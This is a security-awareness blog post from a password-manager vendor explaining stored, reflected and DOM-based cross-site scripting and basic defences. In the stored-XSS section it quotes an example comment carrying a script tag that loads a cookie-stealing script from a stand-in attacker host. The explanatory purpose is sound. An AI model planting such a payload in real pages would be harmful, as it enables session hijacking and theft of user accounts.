Here at TeamPassword we take security very seriously, as we are the custodians of your very important password data. Password managers are one of many important ways to combat the myriad of cybersecurity attacks that are possible whenever we connect to the internet, but password managers alone cannot keep you safe. In this series we will take a look at cybersecurity through the lens of software developers and show how they keep your data safe from criminals. We will also learn how you can play your part in keeping safe by being aware of the ways in which hackers target users.
What is cross-site scripting (XSS) and how do you defend against it?
How does XSS work?
Cross-site scripting or XSS occurs when an attacker embeds malicious scripting commands on a trusted website. Websites that have a large amount of inputs are especially vulnerable to this kind of attack since this is how an attacker embeds the script into the website.
There are three types of XSS attacks:
1. Stored/Persistent XSS
2. Reflected XSS
3. DOM-based XSS
Let's give each one of these a closer look!
1. Stored/Persistent XSS
This type of attack is called persistent since they remain on the server. Usually, attackers will target websites that accept user input that stays stored in their database, such as forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content.
For example, let's say that I have a forum website where users can write comments about different topics. The attacker might write a comment like this:
The weather is fantastic today! <script scr=’http://attackerwebsite.com/stealcookiesscript.js’>
Once the attacker submits the comment, it will be stored in the website database and will be rendered for any user that opens the forum page. So, the next time a user opens the page, without them doing anything, the script in that comment will run.
Usually, the attacker will want to steal the user's session cookies. This allows the attacker to compromise the user's account, granting them access to the user's personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.
2. Reflected XSS
This type of attack occurs when an application allows reflected input.
For example, let's say the attacker finds a website where you can search for "XSS" and the website returns (or reflects) a page with the heading "You searched for XSS", followed by the search results.
Instead of just searching "XSS" the attacker might want to search for:
thus, creating a URL like this:
But this by itself doesn't do any harm since it is not reaching any other users. Unlike with Stored/Persistent XSS, for the Reflected XSS to work, the user needs to click a link from the attacker.
So, how does the attacker get a user to click their link? Simple, it is just about embedding it in a link and sending it to other users in a seemingly harmless email or blog comment for example, and wait for someone to click. The question is, why would the user do that? Usually, the attacker will use some sort of social engineering (for example, pretexting or phishing) to manipulate the user into taking that action.
Once this link is clicked, the script will run since the website will reflect the search query (which is the malicious script).
3. DOM-based XSS
This type of attack uses the code originating from the website to execute the malicious script.
For example, let's say we have a website with 3 different tabs and it renders different images depending on the tab we click. This whole logic is driven by a script that can be checked in the DOM. So we have these URLs:
https://vulnerable-website.com/frame#1 when we click on the first tab. It renders the image
https://vulnerable-website.com/frame#2 when we click on the second tab. It renders the image
https://vulnerable-website.com/frame#3 when we click on the third tab. It renders the image
By making use of the logic inherent to the website, the attacker can do:
This causes an alert to pop up when using the link, and the attacker has just worked around the DOM of the website.
And just like in Reflected XSS, the attacker can embed the link and send it to other users in hopes they will click and the malicious code will run on their end.
How to prevent XSS attacks?
Simply enough there are two things we can do to prevent these kinds of attacks:
1. Input validation.
The best solution is to determine the type of input that the application and create an input validation that matches the input from the user to the type of input we want to allow. If we are expecting the user to input some numbers, we shouldn't allow letters in the input. We can do this in the front-end and the back-end (or in both at the same time), but if we had to choose, it is preferable to do it in the back-end since the attacker won't be able to modify the code of the application itself by normal means.
2. Be careful of the links we click.
Think twice and check URLs before clicking. This is an easy prevention on the user side. To check if a link is malicious, hover on top of the link and the browser will show the URL where this link will direct you. If the URL looks suspicious, double-check with other people in our organization or just write the website we want to go to in the browser.
Nowadays, cybersecurity is becoming more and more trendy. That shows just how insecure the Internet is becoming by the day. While there is just so much that we can do as end users, it is important to keep in mind the dangers lying ahead and be mindful of our behaviors online. Aside from that, it is always a good idea to rely on security oriented companies. At TeamPassword, we work every day so that both individual users and organizations can store and share their password data in a safe way. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.